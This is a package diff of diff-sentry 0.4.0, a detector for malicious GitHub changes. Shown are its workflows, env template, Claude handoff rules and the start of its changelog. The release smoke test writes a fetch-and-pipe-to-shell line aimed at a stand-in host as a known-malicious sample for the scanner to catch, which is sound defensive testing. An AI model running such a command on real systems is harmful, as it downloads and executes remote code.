diff-sentry 0.4.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- diff_sentry-0.4.0/.claude/rules/handoff.md +56 -0
- diff_sentry-0.4.0/.env.example +50 -0
- diff_sentry-0.4.0/.github/workflows/ci.yml +120 -0
- diff_sentry-0.4.0/.github/workflows/release.yml +98 -0
- diff_sentry-0.4.0/.gitignore +28 -0
- diff_sentry-0.4.0/.python-version +1 -0
- diff_sentry-0.4.0/CHANGELOG.md +162 -0
- diff_sentry-0.4.0/CLAUDE.md +201 -0
- diff_sentry-0.4.0/LICENSE +21 -0
- diff_sentry-0.4.0/PKG-INFO +221 -0
- diff_sentry-0.4.0/README.md +200 -0
- diff_sentry-0.4.0/VENDOR.md +17 -0
- diff_sentry-0.4.0/action.yml +151 -0
- diff_sentry-0.4.0/diff_sentry/__init__.py +83 -0
- diff_sentry-0.4.0/diff_sentry/__main__.py +8 -0
- diff_sentry-0.4.0/diff_sentry/assemble.py +87 -0
- diff_sentry-0.4.0/diff_sentry/cli.py +376 -0
- diff_sentry-0.4.0/diff_sentry/config.py +173 -0
- diff_sentry-0.4.0/diff_sentry/deep_classify.py +144 -0
- diff_sentry-0.4.0/diff_sentry/detect.py +193 -0
- diff_sentry-0.4.0/diff_sentry/emit.py +82 -0
- diff_sentry-0.4.0/diff_sentry/fetch_tool.py +94 -0
- diff_sentry-0.4.0/diff_sentry/indicators.py +579 -0
- diff_sentry-0.4.0/diff_sentry/ingest.py +215 -0
- diff_sentry-0.4.0/diff_sentry/normalize.py +171 -0
- diff_sentry-0.4.0/diff_sentry/response.py +163 -0
- diff_sentry-0.4.0/diff_sentry/rl_export.py +157 -0
- diff_sentry-0.4.0/diff_sentry/rubric.py +135 -0
- diff_sentry-0.4.0/diff_sentry/schema.py +233 -0
- diff_sentry-0.4.0/diff_sentry/skills/ci-injection-patterns.md +36 -0
- diff_sentry-0.4.0/diff_sentry/skills/prompt-injection-catalog.md +33 -0
- diff_sentry-0.4.0/diff_sentry/skills/triage-a-change.md +34 -0
- diff_sentry-0.4.0/eval/README.md +105 -0
- diff_sentry-0.4.0/eval/diff_sentry_eval/__init__.py +42 -0
- diff_sentry-0.4.0/eval/diff_sentry_eval/__main__.py +6 -0
- diff_sentry-0.4.0/eval/diff_sentry_eval/cli.py +158 -0
- diff_sentry-0.4.0/eval/diff_sentry_eval/judge.py +243 -0
- diff_sentry-0.4.0/eval/diff_sentry_eval/schema.py +74 -0
- diff_sentry-0.4.0/eval/diff_sentry_eval/score.py +190 -0
- diff_sentry-0.4.0/eval/diff_sentry_eval/taskset.py +101 -0
- diff_sentry-0.4.0/eval/pyproject.toml +35 -0
- diff_sentry-0.4.0/eval/taskset.example.json +30 -0
- diff_sentry-0.4.0/eval/tests/conftest.py +110 -0
- diff_sentry-0.4.0/eval/tests/test_boundary.py +40 -0
- diff_sentry-0.4.0/eval/tests/test_cli.py +87 -0
- diff_sentry-0.4.0/eval/tests/test_judge.py +58 -0
- diff_sentry-0.4.0/eval/tests/test_schema.py +35 -0
- diff_sentry-0.4.0/eval/tests/test_score.py +57 -0
- diff_sentry-0.4.0/eval/tests/test_taskset.py +54 -0
- diff_sentry-0.4.0/pyproject.toml +104 -0
- diff_sentry-0.4.0/studio/DESIGN.md +206 -0
- diff_sentry-0.4.0/studio/README.md +208 -0
- diff_sentry-0.4.0/studio/diff_sentry_studio/__init__.py +1 -0
- diff_sentry-0.4.0/studio/diff_sentry_studio/app.py +309 -0
- diff_sentry-0.4.0/studio/diff_sentry_studio/iterations.py +237 -0
- diff_sentry-0.4.0/studio/diff_sentry_studio/live.py +149 -0
- diff_sentry-0.4.0/studio/diff_sentry_studio/mapper.py +137 -0
- diff_sentry-0.4.0/studio/pyproject.toml +40 -0
- diff_sentry-0.4.0/studio/static/app.js +430 -0
- diff_sentry-0.4.0/studio/static/index.html +126 -0
- diff_sentry-0.4.0/studio/static/replay-core.js +74 -0
- diff_sentry-0.4.0/studio/static/run-core.js +51 -0
- diff_sentry-0.4.0/studio/static/style.css +432 -0
- diff_sentry-0.4.0/studio/static/trajectory.js +391 -0
- diff_sentry-0.4.0/studio/static/vendor/fonts/jetbrains-mono-400.woff2 +0 -0
- diff_sentry-0.4.0/studio/static/vendor/fonts/jetbrains-mono-700.woff2 +0 -0
- diff_sentry-0.4.0/studio/tests/replay-core.test.js +68 -0
- diff_sentry-0.4.0/studio/tests/run-core.test.js +64 -0
- diff_sentry-0.4.0/studio/tests/static-contract.test.js +54 -0
- diff_sentry-0.4.0/studio/tests/test_app.py +241 -0
- diff_sentry-0.4.0/studio/tests/test_iterations.py +74 -0
- diff_sentry-0.4.0/studio/tests/test_live.py +156 -0
- diff_sentry-0.4.0/studio/tests/test_mapper.py +114 -0
- diff_sentry-0.4.0/studio/tests/trajectory.test.js +80 -0
- diff_sentry-0.4.0/tests/__init__.py +0 -0
- diff_sentry-0.4.0/tests/conftest.py +150 -0
- diff_sentry-0.4.0/tests/corpus/change_corpus.json +775 -0
- diff_sentry-0.4.0/tests/corpus/hackerbot_claw_incident.json +57 -0
- diff_sentry-0.4.0/tests/test_assemble.py +60 -0
- diff_sentry-0.4.0/tests/test_cli.py +243 -0
- diff_sentry-0.4.0/tests/test_config.py +79 -0
- diff_sentry-0.4.0/tests/test_deep_classify.py +76 -0
- diff_sentry-0.4.0/tests/test_detect.py +112 -0
- diff_sentry-0.4.0/tests/test_detection_quality.py +104 -0
- diff_sentry-0.4.0/tests/test_emit.py +66 -0
- diff_sentry-0.4.0/tests/test_export.py +73 -0
- diff_sentry-0.4.0/tests/test_fetch_tool.py +126 -0
- diff_sentry-0.4.0/tests/test_forward_offline.py +123 -0
- diff_sentry-0.4.0/tests/test_incident_hackerbot_claw.py +91 -0
- diff_sentry-0.4.0/tests/test_indicators.py +195 -0
- diff_sentry-0.4.0/tests/test_ingest.py +181 -0
- diff_sentry-0.4.0/tests/test_injection_offline.py +92 -0
- diff_sentry-0.4.0/tests/test_normalize.py +49 -0
- diff_sentry-0.4.0/tests/test_provenance.py +182 -0
- diff_sentry-0.4.0/tests/test_response.py +123 -0
- diff_sentry-0.4.0/tests/test_rubric.py +191 -0
- diff_sentry-0.4.0/tests/test_schema.py +36 -0
- diff_sentry-0.4.0/tests/test_subscription.py +108 -0
- diff_sentry-0.4.0/uv.lock +2980 -0
|
@@ -0,0 +1,56 @@
|
|
|
1
|
+
# Context preservation (read before auto-compacting)
|
|
2
|
+
|
|
3
|
+
diff-sentry routes durable knowledge into its tracked docs — keep using them, and when the conversation
|
|
4
|
+
is about to compact, preserve only what they do NOT already hold:
|
|
5
|
+
|
|
6
|
+
- **Stable invariants** → the **Hard invariants** section of `CLAUDE.md`.
|
|
7
|
+
- **Resolved decisions / shipped changes** → the commit message (grow a `CHANGELOG.md` at the first
|
|
8
|
+
version bump, like the siblings).
|
|
9
|
+
- **Open / proposed work** → the issue tracker, or the `README.md` **Status** section.
|
|
10
|
+
|
|
11
|
+
So a handoff summary should carry the *in-flight session state* those files miss. Prioritize, in order:
|
|
12
|
+
|
|
13
|
+
1. **Decisions we agreed on this session** not yet in CLAUDE.md / a commit — design choices and the
|
|
14
|
+
*reason* (e.g. "judgement-only SUBMIT + union-on-read so a benign self-report can't suppress
|
|
15
|
+
evidence", "the fetch allowlist is GitHub-only because the input is attacker-authored", "workflow
|
|
16
|
+
edits are `medium` so a benign workflow PR doesn't force a signal"). Promote durable ones into
|
|
17
|
+
CLAUDE.md (invariant) before they fade.
|
|
18
|
+
2. **Files / symbols changed**, as `path:symbol` one-liners on the *final* shape — e.g.
|
|
19
|
+
`assemble.py:assemble_verdict — signal = verdict∈emit_on OR severity≥floor`,
|
|
20
|
+
`indicators.py:make_indicator_tool — registers as scan_indicators (dspy __name__)`.
|
|
21
|
+
Drop diffs and intermediate revisions.
|
|
22
|
+
3. **Current status.** What passes the suite (and the count), what's broken, last command + result.
|
|
23
|
+
One paragraph. (Suite: `uv run pytest` from the repo root, plus `uvx ruff check .`.)
|
|
24
|
+
4. **Open suggestions / TODOs** not yet tracked — mark each `proposed`, `accepted-not-done`, or
|
|
25
|
+
`rejected`; move durable ones to the issue tracker.
|
|
26
|
+
5. **The seams' status.** (a) `classify_backend` — still `"self"` (a general model) or a dedicated
|
|
27
|
+
second-stage backend in progress; (b) the cheap host-side pre-filter tier + live GitHub/SIEM wiring
|
|
28
|
+
(the README's "next increments"); (c) the rlm-harness dep — still the editable `../rlm-harness` path or
|
|
29
|
+
switched to an exact PyPI pin. A resumed session must not re-open a seam that moved.
|
|
30
|
+
6. **In-flight user intent + acceptance criteria** for this session. Without it a resumed session drifts.
|
|
31
|
+
|
|
32
|
+
**Do NOT preserve** (reconstructable / already durable):
|
|
33
|
+
|
|
34
|
+
- Anything already in `CLAUDE.md`, `README.md`, `.env.example`, or `pyproject.toml`.
|
|
35
|
+
- Tool-call transcripts, `grep` output, file listings, full file contents readable from disk.
|
|
36
|
+
- Step-by-step exploration narration; speculative reasoning that led to no decision.
|
|
37
|
+
|
|
38
|
+
**Format for a handoff summary** (use when compaction is imminent or the user asks for a recap):
|
|
39
|
+
|
|
40
|
+
```
|
|
41
|
+
## Session state
|
|
42
|
+
- Goal: <one sentence>
|
|
43
|
+
- Status: <what passes the suite, what doesn't, last command + result>
|
|
44
|
+
- Seams: <classify backend | pre-filter/live wiring | rlm-harness dep — one line each if touched>
|
|
45
|
+
|
|
46
|
+
## Decisions
|
|
47
|
+
- <decision> — <why> (→ promote to CLAUDE.md invariant / the commit message)
|
|
48
|
+
|
|
49
|
+
## Changed
|
|
50
|
+
- <path:symbol> — <what & why>
|
|
51
|
+
|
|
52
|
+
## Open
|
|
53
|
+
- [proposed|accepted-not-done|rejected] <item> (→ issue tracker if durable)
|
|
54
|
+
```
|
|
55
|
+
|
|
56
|
+
Keep it under ~40 lines. If something fits one of the tracked docs, put it THERE instead of the summary.
|
|
@@ -0,0 +1,50 @@
|
|
|
1
|
+
# diff-sentry — model ROLES + runtime knobs (copy to .env; a live run needs these + a Deno sandbox).
|
|
2
|
+
|
|
3
|
+
# --- Model roles (required for a live `pr`/`issue`/`classify` run) ---
|
|
4
|
+
# planner: a cheap, INJECTION-RESISTANT orchestrator that holds the diff in the REPL and triages.
|
|
5
|
+
DS_ROOT_LM=your-planner-model
|
|
6
|
+
# analyst: an expensive brain reached via llm_query for a subtle source->sink (short questions only).
|
|
7
|
+
DS_SUB_LM=your-analyst-model
|
|
8
|
+
# One OpenAI-compatible proxy serves all roles. When DS_BASE_URL is set the model names are the plain
|
|
9
|
+
# ids your endpoint serves (e.g. qwen/qwen3-next), not litellm-prefixed.
|
|
10
|
+
DS_BASE_URL=https://your-openai-compatible-endpoint/v1
|
|
11
|
+
DS_API_KEY=sk-...
|
|
12
|
+
|
|
13
|
+
# --- OR: run planner + analyst on a Claude Pro/Max SUBSCRIPTION (no API key) ---
|
|
14
|
+
# Give a role the `claude-agent-sdk/<id>` prefix and it runs on your personal Claude subscription via
|
|
15
|
+
# the official Claude Agent SDK (rlm-harness's `rlm_harness.ClaudeAgentLM`, the `[subscription]` extra) — each call a pure
|
|
16
|
+
# completion (no tools, no filesystem, no settings leakage). Prerequisites: `uv sync --extra
|
|
17
|
+
# subscription`; the Claude Code CLI installed and logged in (`claude` → /login, or `claude
|
|
18
|
+
# setup-token` → export CLAUDE_CODE_OAUTH_TOKEN); and you MUST `unset ANTHROPIC_API_KEY` — the CLI
|
|
19
|
+
# silently prefers it and would bill API credit (the adapter refuses to start while it is set). Prefer
|
|
20
|
+
# full model ids over aliases (which drift over time).
|
|
21
|
+
# DS_ROOT_LM=claude-agent-sdk/claude-sonnet-5 # planner on Sonnet 5
|
|
22
|
+
# DS_SUB_LM=claude-agent-sdk/claude-fable-5 # analyst on Fable 5
|
|
23
|
+
# DS_BASE_URL/DS_API_KEY are then unused BY THESE TWO ROLES, but the CLASSIFIER still needs its own
|
|
24
|
+
# OpenAI-compatible endpoint — a subscription-only end-to-end run is NOT supported. You MUST set
|
|
25
|
+
# DS_CLASSIFIER_LM to a real model id (and DS_CLASSIFIER_BASE_URL/DS_CLASSIFIER_API_KEY if it's a
|
|
26
|
+
# separate box); leaving it UNSET makes the classifier inherit the `claude-agent-sdk/…` DS_SUB_LM and
|
|
27
|
+
# from_env fails LOUD (the classifier uses an OpenAI client, not the Agent SDK). Budgets use the SAME
|
|
28
|
+
# env vars as proxy mode. Expect ~2-5s CLI-spawn overhead per call, so keep runs interactive (not batch).
|
|
29
|
+
# DS_PLANNER_MAX_TOKENS is inert on this path — the Agent SDK exposes no token/sampling controls.
|
|
30
|
+
|
|
31
|
+
# --- Second-stage classifier (the swappable seam; defaults to the analyst model on the same proxy —
|
|
32
|
+
# unless the analyst rides the subscription, in which case DS_CLASSIFIER_LM is REQUIRED, see above) ---
|
|
33
|
+
# DS_CLASSIFIER_LM=your-strong-classifier
|
|
34
|
+
# DS_CLASSIFIER_CIRCUIT_BREAK=4
|
|
35
|
+
|
|
36
|
+
# --- RLM runtime ---
|
|
37
|
+
# DS_INTERPRETER=pyodide # read-not-execute: the classifier NEVER runs the change. `deno` is an alias.
|
|
38
|
+
# DS_MAX_ITERATIONS=25
|
|
39
|
+
# DS_MAX_LLM_CALLS=8 # caps ONLY analyst (llm_query) escalations
|
|
40
|
+
# DS_ADAPTER=json # portable structured output (OpenAI + vLLM/NIM)
|
|
41
|
+
# DS_PLANNER_MAX_TOKENS=16384 # generous, so a reasoning planner isn't truncated to empty content
|
|
42
|
+
|
|
43
|
+
# --- Enrichment fetch (OFF by default — an exfil surface on attacker-authored input; GitHub-allowlisted) ---
|
|
44
|
+
# DS_ENABLE_FETCH=false
|
|
45
|
+
# DS_FETCH_ALLOW_CIDRS=198.18.0.0/16 # only if behind a fake-IP proxy / split-DNS VPN
|
|
46
|
+
|
|
47
|
+
# --- Host-side SIEM emitter (opt-in; deterministic POST after the run) ---
|
|
48
|
+
# DS_SIEM_WEBHOOK_URL=https://your-siem/intake
|
|
49
|
+
# DS_SIEM_TOKEN=...
|
|
50
|
+
# DS_EMIT_ON=suspicious,malicious
|
|
@@ -0,0 +1,120 @@
|
|
|
1
|
+
name: CI
|
|
2
|
+
|
|
3
|
+
# Offline suite only: no live LLM, no network calls in tests, no Deno sandbox — dspy-bearing paths use
|
|
4
|
+
# DummyLM / rlm-harness's ScriptedInterpreter, transports are injected fakes, and the corpus pins the
|
|
5
|
+
# indicator suite's hit/miss behavior (see CLAUDE.md "Verify"). `uv sync` pulls rlm-harness from GitHub
|
|
6
|
+
# (uv.lock pins the exact commit).
|
|
7
|
+
on:
|
|
8
|
+
push:
|
|
9
|
+
branches: [main]
|
|
10
|
+
pull_request:
|
|
11
|
+
|
|
12
|
+
# Least privilege: this workflow only checks out code and runs tests/lint — it never writes. Specifying
|
|
13
|
+
# `permissions:` also drops every unlisted scope to `none`, so a compromised dep/action on an untrusted
|
|
14
|
+
# fork PR can't use the token to push, tag, or open issues.
|
|
15
|
+
permissions:
|
|
16
|
+
contents: read
|
|
17
|
+
|
|
18
|
+
concurrency:
|
|
19
|
+
group: ci-${{ github.ref }}
|
|
20
|
+
cancel-in-progress: true
|
|
21
|
+
|
|
22
|
+
jobs:
|
|
23
|
+
test:
|
|
24
|
+
name: test (py${{ matrix.python-version }})
|
|
25
|
+
runs-on: ubuntu-latest
|
|
26
|
+
strategy:
|
|
27
|
+
fail-fast: false
|
|
28
|
+
# 3.11 is the requires-python floor; 3.13 is what .python-version / local dev actually runs.
|
|
29
|
+
matrix:
|
|
30
|
+
python-version: ["3.11", "3.13"]
|
|
31
|
+
steps:
|
|
32
|
+
- uses: actions/checkout@v4
|
|
33
|
+
|
|
34
|
+
- name: Install uv
|
|
35
|
+
# Third-party action pinned to a commit SHA for supply-chain integrity (a moving major tag
|
|
36
|
+
# could be repointed at malicious code that runs with this workflow's token). GitHub-owned
|
|
37
|
+
# actions (checkout) stay on a major tag. Bump the SHA and the trailing version comment together.
|
|
38
|
+
uses: astral-sh/setup-uv@d4b2f3b6ecc6e67c4457f6d3e41ec42d3d0fcb86 # v5.4.2
|
|
39
|
+
with:
|
|
40
|
+
enable-cache: true
|
|
41
|
+
|
|
42
|
+
# --all-packages brings in the studio workspace member, --all-extras every optional surface
|
|
43
|
+
# (classify/observe/subscription + the studio dev extra) so both suites resolve in one env.
|
|
44
|
+
- name: Sync (core + studio workspace)
|
|
45
|
+
run: uv sync --all-extras --all-packages --python ${{ matrix.python-version }}
|
|
46
|
+
|
|
47
|
+
- name: Core tests (pipeline + wiring)
|
|
48
|
+
run: uv run --python ${{ matrix.python-version }} python -m pytest
|
|
49
|
+
|
|
50
|
+
- name: Studio console tests
|
|
51
|
+
run: uv run --python ${{ matrix.python-version }} python -m pytest studio/tests
|
|
52
|
+
|
|
53
|
+
# The eval workspace member (diff-sentry-eval) — its OWN offline suite: the reward-free ATLAS
|
|
54
|
+
# scorecard, stub judge, synthetic traces, no creds. `--all-packages` above already installed it.
|
|
55
|
+
- name: Eval scorecard tests
|
|
56
|
+
run: uv run --package diff-sentry-eval --python ${{ matrix.python-version }} python -m pytest eval/tests
|
|
57
|
+
|
|
58
|
+
# The studio frontend's pure/factory cores (run-core, replay-core, trajectory) carry assert-based
|
|
59
|
+
# node tests; the ubuntu runner ships node, so gate them here too.
|
|
60
|
+
- name: Frontend core unit tests (node)
|
|
61
|
+
run: |
|
|
62
|
+
for f in studio/tests/*.test.js; do echo "▸ $f"; node "$f"; done
|
|
63
|
+
|
|
64
|
+
# Dogfood: this repo's own CI runs the ACTION this repo publishes (`uses: ./`), not a copy of it.
|
|
65
|
+
# So every PR here is also an integration test of the thing users install — a drifted action.yml
|
|
66
|
+
# fails our own build before it reaches anyone's Marketplace install.
|
|
67
|
+
#
|
|
68
|
+
# DELIBERATELY the deterministic scan and not the full `classify` pipeline. `classify` needs DS_*
|
|
69
|
+
# model creds, and the only mechanism that hands creds to a fork PR's run is `pull_request_target`,
|
|
70
|
+
# precisely the misconfiguration that opened the AsyncAPI "Miasma" compromise. The scan needs no
|
|
71
|
+
# creds, no network and no Deno, so it runs under this workflow's read-only `contents: read` token.
|
|
72
|
+
# NO fork guard here, also deliberately: the job is read-only with no side effects outside its own
|
|
73
|
+
# repo, so a fork running it is correct and useful.
|
|
74
|
+
self-scan:
|
|
75
|
+
name: self-scan (dogfood)
|
|
76
|
+
runs-on: ubuntu-latest
|
|
77
|
+
steps:
|
|
78
|
+
- uses: actions/checkout@v4
|
|
79
|
+
with:
|
|
80
|
+
fetch-depth: 0 # the action needs the base commit to diff against
|
|
81
|
+
|
|
82
|
+
- uses: ./
|
|
83
|
+
with:
|
|
84
|
+
# Scan this PR with the rules IN this PR, not the ones already on main. Without it the
|
|
85
|
+
# dogfood would grade a rule change against the previous rule set and always pass.
|
|
86
|
+
version: local
|
|
87
|
+
# This is a DETECTOR repo, so some files carry attack patterns as their JOB: the rule bodies,
|
|
88
|
+
# the planner prompt, the attack skills, the fixtures, the eval taskset, and the docs that
|
|
89
|
+
# tabulate all of the above. Scanning those against our own rules is a guaranteed self-hit
|
|
90
|
+
# (the pipe-to-shell example inside detect.INSTRUCTIONS and the field-separator token quoted
|
|
91
|
+
# in README's rule table both fire), so they are reported without gating while the machinery
|
|
92
|
+
# and the build/CI/dependency surface stay enforced. Note this file is in the GATED half:
|
|
93
|
+
# describe a payload shape here, never quote one.
|
|
94
|
+
report-only-paths: |
|
|
95
|
+
diff_sentry/indicators.py
|
|
96
|
+
diff_sentry/detect.py
|
|
97
|
+
diff_sentry/skills/**
|
|
98
|
+
tests/**
|
|
99
|
+
eval/tests/**
|
|
100
|
+
studio/tests/**
|
|
101
|
+
eval/taskset.example.json
|
|
102
|
+
eval/diff_sentry_eval/taskset.py
|
|
103
|
+
*.md
|
|
104
|
+
|
|
105
|
+
lint:
|
|
106
|
+
name: ruff
|
|
107
|
+
runs-on: ubuntu-latest
|
|
108
|
+
steps:
|
|
109
|
+
- uses: actions/checkout@v4
|
|
110
|
+
- name: Install uv
|
|
111
|
+
uses: astral-sh/setup-uv@d4b2f3b6ecc6e67c4457f6d3e41ec42d3d0fcb86 # v5.4.2
|
|
112
|
+
with:
|
|
113
|
+
enable-cache: true
|
|
114
|
+
- name: Lint
|
|
115
|
+
# PINNED on purpose. `uvx ruff` resolves the latest release at run time, and ruff's DEFAULT
|
|
116
|
+
# rule set is not a stable contract — 0.16 expanded it far past the pycodestyle/pyflakes
|
|
117
|
+
# baseline, which would have turned this job red on the next push with no code change. Bump
|
|
118
|
+
# it deliberately, with the resulting fixes in the same commit, rather than letting a
|
|
119
|
+
# release do it for you.
|
|
120
|
+
run: uvx ruff@0.16.0 check .
|
|
@@ -0,0 +1,98 @@
|
|
|
1
|
+
name: Release
|
|
2
|
+
|
|
3
|
+
# Publish to PyPI via Trusted Publishing (OIDC) — NO API token. INERT until a GitHub Release is
|
|
4
|
+
# published, and needs one-time setup before the first release:
|
|
5
|
+
# 1. On PyPI, add a Trusted Publisher for project `diff-sentry`:
|
|
6
|
+
# owner = qazbnm456, repo = diff-sentry, workflow = release.yml, environment = pypi
|
|
7
|
+
# 2. In this repo's settings, create an environment named `pypi`.
|
|
8
|
+
#
|
|
9
|
+
# A release here is DUAL-PURPOSE. The same "Draft a release" flow that triggers this workflow is also
|
|
10
|
+
# where "Publish this Action to the GitHub Marketplace" is ticked, and the tag it creates is what
|
|
11
|
+
# consumers pin in `uses: qazbnm456/diff-sentry@vX`. So cutting a release ships the package AND the
|
|
12
|
+
# Action; keep the README's quickstart ref in step with the tag you publish.
|
|
13
|
+
#
|
|
14
|
+
# Supply-chain: the two third-party actions are SHA-pinned — setup-uv, and (highest blast radius, it
|
|
15
|
+
# uploads to PyPI) pypi-publish. Bump a SHA and its trailing version comment together. GitHub-owned
|
|
16
|
+
# checkout/*-artifact stay on major tags.
|
|
17
|
+
|
|
18
|
+
on:
|
|
19
|
+
release:
|
|
20
|
+
types: [published]
|
|
21
|
+
|
|
22
|
+
permissions:
|
|
23
|
+
contents: read
|
|
24
|
+
|
|
25
|
+
jobs:
|
|
26
|
+
build:
|
|
27
|
+
runs-on: ubuntu-latest
|
|
28
|
+
steps:
|
|
29
|
+
- uses: actions/checkout@v4
|
|
30
|
+
|
|
31
|
+
- name: Install uv
|
|
32
|
+
uses: astral-sh/setup-uv@d4b2f3b6ecc6e67c4457f6d3e41ec42d3d0fcb86 # v5.4.2
|
|
33
|
+
|
|
34
|
+
- name: Build sdist + wheel
|
|
35
|
+
run: uv build
|
|
36
|
+
|
|
37
|
+
# Verify the ARTIFACT, not the checkout — a wheel can build cleanly and still be unusable. This
|
|
38
|
+
# project shipped for months with no `[project.scripts]` entry point at all, so `uvx diff-sentry`
|
|
39
|
+
# (the exact command the GitHub Action runs) could not have worked; nothing in the source tree
|
|
40
|
+
# would have told you. Installing the built wheel into a clean environment and running it is what
|
|
41
|
+
# catches that.
|
|
42
|
+
#
|
|
43
|
+
# It also settles the version question against the thing being uploaded rather than against a
|
|
44
|
+
# regex over the source. Three identities have to agree: the git tag people pin, the version
|
|
45
|
+
# baked into the wheel's filename, and what a running install reports as `__version__`. A
|
|
46
|
+
# mismatch ships an artifact labelled differently from the ref it was cut from, PyPI accepts that
|
|
47
|
+
# silently, and the upload is irreversible. The tag arrives via `env:`, never interpolated into
|
|
48
|
+
# the script body.
|
|
49
|
+
- name: Verify the wheel installs, runs, and matches the tag
|
|
50
|
+
env:
|
|
51
|
+
TAG: ${{ github.event.release.tag_name }}
|
|
52
|
+
run: |
|
|
53
|
+
set -euo pipefail
|
|
54
|
+
uv venv /tmp/smoke
|
|
55
|
+
VIRTUAL_ENV=/tmp/smoke uv pip install dist/*.whl
|
|
56
|
+
|
|
57
|
+
tag="${TAG#v}"
|
|
58
|
+
wheel=$(basename dist/*.whl | cut -d- -f2)
|
|
59
|
+
installed=$(/tmp/smoke/bin/python -c "import diff_sentry; print(diff_sentry.__version__)")
|
|
60
|
+
echo "tag=$tag wheel=$wheel installed=$installed"
|
|
61
|
+
if [ "$tag" != "$wheel" ] || [ "$wheel" != "$installed" ]; then
|
|
62
|
+
echo "::error::version mismatch — tag=$tag wheel=$wheel installed=$installed"
|
|
63
|
+
exit 1
|
|
64
|
+
fi
|
|
65
|
+
|
|
66
|
+
# The console script must actually flag a known-malicious diff (exit 1). A wheel that installs
|
|
67
|
+
# but scans nothing would sail through a plain --version check.
|
|
68
|
+
printf '+run: curl http://evil.example/p | bash\n' > /tmp/smoke.diff
|
|
69
|
+
if /tmp/smoke/bin/diff-sentry scan /tmp/smoke.diff; then
|
|
70
|
+
echo "::error::the console script did not flag a known-malicious diff"
|
|
71
|
+
exit 1
|
|
72
|
+
fi
|
|
73
|
+
|
|
74
|
+
- uses: actions/upload-artifact@v4
|
|
75
|
+
with:
|
|
76
|
+
name: dist
|
|
77
|
+
path: dist/
|
|
78
|
+
|
|
79
|
+
publish:
|
|
80
|
+
needs: build
|
|
81
|
+
runs-on: ubuntu-latest
|
|
82
|
+
# Fork guard. `release: published` is inherited by every fork, so a fork cutting its own release
|
|
83
|
+
# would fire this job and ask PyPI to publish `diff-sentry` over OIDC. The Trusted Publisher binding
|
|
84
|
+
# (owner+repo+workflow+environment) would reject it, but that is a rejected publish attempt against
|
|
85
|
+
# OUR project, plus a probe surface and a confusing red run in someone else's repo. `build` above is
|
|
86
|
+
# deliberately NOT guarded — it only builds and tests an artifact, and a fork verifying its own
|
|
87
|
+
# build is fine.
|
|
88
|
+
if: github.repository == 'qazbnm456/diff-sentry'
|
|
89
|
+
environment: pypi
|
|
90
|
+
permissions:
|
|
91
|
+
id-token: write # OIDC token for PyPI Trusted Publishing
|
|
92
|
+
steps:
|
|
93
|
+
- uses: actions/download-artifact@v4
|
|
94
|
+
with:
|
|
95
|
+
name: dist
|
|
96
|
+
path: dist/
|
|
97
|
+
- name: Publish to PyPI
|
|
98
|
+
uses: pypa/gh-action-pypi-publish@cef221092ed1bacb1cc03d23a2d87d1d172e277b # v1.14.0
|
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
# Python
|
|
2
|
+
__pycache__/
|
|
3
|
+
*.py[cod]
|
|
4
|
+
*.egg-info/
|
|
5
|
+
.pytest_cache/
|
|
6
|
+
.ruff_cache/
|
|
7
|
+
|
|
8
|
+
# uv / virtualenv
|
|
9
|
+
.venv/
|
|
10
|
+
|
|
11
|
+
# Run artifacts (traces / responses / datasets the CLI writes)
|
|
12
|
+
output/
|
|
13
|
+
/traces/
|
|
14
|
+
/responses/
|
|
15
|
+
*.jsonl
|
|
16
|
+
|
|
17
|
+
# Secrets / local env (only .env.example is tracked)
|
|
18
|
+
.env
|
|
19
|
+
|
|
20
|
+
# macOS
|
|
21
|
+
.DS_Store
|
|
22
|
+
|
|
23
|
+
# Claude Code local overrides (never commit)
|
|
24
|
+
.claude/settings.local.json
|
|
25
|
+
|
|
26
|
+
# Build artifacts. `uv build` is now a normal local step (release.yml runs it), so an
|
|
27
|
+
# accidental `git add .` must not sweep a wheel into the repo.
|
|
28
|
+
dist/
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
3.13
|
|
@@ -0,0 +1,162 @@
|
|
|
1
|
+
# Changelog
|
|
2
|
+
|
|
3
|
+
All notable changes to diff-sentry. This project classifies ONE GitHub change (PR/issue/push) for
|
|
4
|
+
malicious intent — the diff held as **untrusted data** in a sandboxed REPL, a judgement-only verdict,
|
|
5
|
+
and deterministic indicator evidence unioned on read into a SIEM signal — as a traced, improvable RLM
|
|
6
|
+
framework on [`rlm-harness`](https://github.com/qazbnm456/rlm-harness) (a BewAIre-style detector).
|
|
7
|
+
|
|
8
|
+
## 0.4.0
|
|
9
|
+
|
|
10
|
+
The first release, and a repositioning: the front door is now a GitHub Action anyone installs in fifteen
|
|
11
|
+
lines, with the trajectory/studio/fine-tuning half kept as the second goal for people who run the
|
|
12
|
+
infrastructure themselves.
|
|
13
|
+
|
|
14
|
+
### Added
|
|
15
|
+
- **Ships as a GitHub Action** (`action.yml`, a composite action at the repo root, which is what
|
|
16
|
+
Marketplace requires). Inputs `fail-on` / `report-only-paths` / `base-sha` / `version`; outputs
|
|
17
|
+
`failed` / `hit-count` / `max-severity` / `report`. It runs the DETERMINISTIC scan, never the model
|
|
18
|
+
pipeline, and that is the load-bearing choice: `classify` needs `DS_*` creds, and the only mechanism
|
|
19
|
+
that puts creds into a fork PR's run is `pull_request_target` — the exact misconfiguration that opened
|
|
20
|
+
the AsyncAPI "Miasma" compromise and that this action reports as `critical`. The scan needs no creds,
|
|
21
|
+
no network and no Deno, so it runs under the read-only token a fork PR already gets. `report-only-paths`
|
|
22
|
+
is an input rather than a fixed list because the paths that legitimately carry attack patterns differ
|
|
23
|
+
per repo. The README documents the safe way to comment back on a fork PR (artifact plus a `workflow_run`
|
|
24
|
+
job that never checks out the PR head), because shipping a detector whose own docs recommend the hole it
|
|
25
|
+
detects would distribute that hole at scale.
|
|
26
|
+
- **`scan` subcommand** (`cli._cmd_scan`) — the deterministic half standalone, with no model, network,
|
|
27
|
+
creds or Deno. `--fail-on` defaults to `SIGNAL_SEVERITY_FLOOR`, so the CI gate honours the same tuning a
|
|
28
|
+
SIEM signal derives from and a plain workflow edit (`medium`, on purpose) does not fail a build.
|
|
29
|
+
`--json` for machine consumption, `--include-deletions` to audit what a change removed.
|
|
30
|
+
- **A `diff-sentry` console entry point** (`[project.scripts]`). There was none, so `uvx diff-sentry` —
|
|
31
|
+
the exact command the Action runs — could not have worked at all.
|
|
32
|
+
- **Ten indicator rules covering the Miasma families.** Reconstructing that chain stage by stage found
|
|
33
|
+
